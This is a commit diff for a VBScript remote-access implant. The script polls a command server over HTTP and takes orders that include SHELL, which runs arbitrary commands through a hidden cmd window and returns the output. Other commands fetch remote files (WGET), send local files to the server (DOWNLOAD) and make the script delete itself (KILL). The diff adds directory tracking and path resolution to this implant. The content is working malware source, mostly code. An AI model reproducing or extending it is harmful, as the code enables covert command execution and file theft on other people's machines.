@@ -26,11 +26,12 @@ If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
26
26
Dim arrSplitUrl, strFilename, stream
27
27
28
28
' Configuration
29
- Dim strHost, strPort, strUrl, intSleep
29
+ Dim strHost, strPort, strUrl, strCD, intSleep
30
30
strHost = "127.0.0.1"
31
31
strPort = "8080"
32
32
intSleep = 5000
33
33
strUrl = "http://" & strHost & ":" & strPort
34
+ strCD = "."
34
35
35
36
' Periodically poll for commands
36
37
Dim strInfo
@@ -50,6 +51,12 @@ While True
50
51
strArgument = arrResponseText( 1 )
51
52
End If
52
53
54
+ ' Fix ups
55
+ If strCommand = "PWD" Or strCommand = "GETWD" Then
56
+ strCommand = "CD"
57
+ strArgument = ""
58
+ End If
59
+
53
60
' Execute command
54
61
Select Case strCommand
55
62
' Sleep X seconds
@@ -161,7 +168,7 @@ While True
161
168
Case "SHELL"
162
169
'Execute and write to file
163
170
Dim strOutFile: strOutFile = fs.GetSpecialFolder( 2 ) & "\rso.txt"
164
- shell.Run "cmd /C " & strArgument & "> """ & strOutFile & """ 2>&1" , 0 , True
171
+ shell.Run "cmd /C pushd """ & strCD & """ && " & strArgument & "> """ & strOutFile & """ 2>&1" , 0 , True
165
172
166
173
' Read out file
167
174
Dim file: Set file = fs.OpenTextFile(strOutfile, 1 )
@@ -181,11 +188,26 @@ While True
181
188
strOutFile = Empty
182
189
text = Empty
183
190
191
+ ' Change Directory
192
+ Case "CD"
193
+ ' Only change directory when argument is provided
194
+ If Len(strArgument) > 0 Then
195
+ Dim strNewCdPath
196
+ strNewCdPath = GetAbsolutePath(strArgument)
197
+
198
+ If fs.FolderExists(strNewCdPath) Then
199
+ strCD = strNewCdPath
200
+ End If
201
+ End If
202
+
203
+ SendStatusUpdate strRawCommand, strCD
204
+
184
205
' Download a file from a URL
185
206
Case "WGET"
186
207
' Determine filename
187
208
arrSplitUrl = Split(strArgument, "/" )
188
209
strFilename = arrSplitUrl(UBound(arrSplitUrl))
210
+ strFilename = GetAbsolutePath(strFilename)
189
211
190
212
' Fetch file
191
213
Err.Clear() ' Set error number to 0
@@ -213,18 +235,21 @@ While True
213
235
strFilename = Empty
214
236
215
237
' Send a file to the server
216
- Case "GET"
238
+ Case "DOWNLOAD"
239
+ Dim strFullSourceFilePath
240
+ strFullSourceFilePath = GetAbsolutePath(strArgument)
241
+
217
242
' Only download if file exists
218
- If fs.FileExists(strArgument ) Then
243
+ If fs.FileExists(strFullSourceFilePath ) Then
219
244
' Determine filename
220
- arrSplitUrl = Split(strArgument , "\" )
245
+ arrSplitUrl = Split(strFullSourceFilePath , "\" )
221
246
strFilename = arrSplitUrl(UBound(arrSplitUrl))
222
247
223
248
' Read the file to memory
224
249
Set stream = CreateObject( "Adodb.Stream" )
225
250
stream.Type = 1 ' adTypeBinary
226
251
stream.Open
227
- stream.LoadFromFile strArgument
252
+ stream.LoadFromFile strFullSourceFilePath
228
253
Dim binFileContents
229
254
binFileContents = stream.Read
230
255
@@ -235,12 +260,13 @@ While True
235
260
binFileContents = Empty
236
261
' File does not exist
237
262
Else
238
- SendStatusUpdate strRawCommand, "File does not exist: " & strArgument
263
+ SendStatusUpdate strRawCommand, "File does not exist: " & strFullSourceFilePath
239
264
End If
240
265
241
266
' Clean up
242
267
arrSplitUrl = Array()
243
268
strFilename = Empty
269
+ strFullSourceFilePath = Empty
244
270
245
271
' Self-destruction, exits script
246
272
Case "KILL"
@@ -269,6 +295,25 @@ Function PadRight(strInput, intLength)
269
295
End Function
270
296
271
297
298
+ Function GetAbsolutePath(strPath)
299
+ Dim strOutputPath
300
+ strOutputPath = ""
301
+
302
+ ' Use backslashes
303
+ strPath = Replace(strPath, "/" , "\" )
304
+
305
+ ' Absolute paths : \Windows C:\Windows D:\
306
+ ' Relative paths: .. ..\ .\dir .\dir\ dir dir\ dir1\dir2 dir1\dir2\
307
+ If Left(strPath, 1 ) = "\" Or InStr( 1 , strPath, ":" ) <> 0 Then
308
+ strOutputPath = strPath
309
+ Else
310
+ strOutputPath = strCD & "\" & strPath
311
+ End If
312
+
313
+ GetAbsolutePath = fs.GetAbsolutePathName(strOutputPath)
314
+ End Function
315
+
316
+
272
317
Function SendStatusUpdate(strText, strData)
273
318
Dim binData
274
319
binData = StringToBinary(strData)
0 commit comments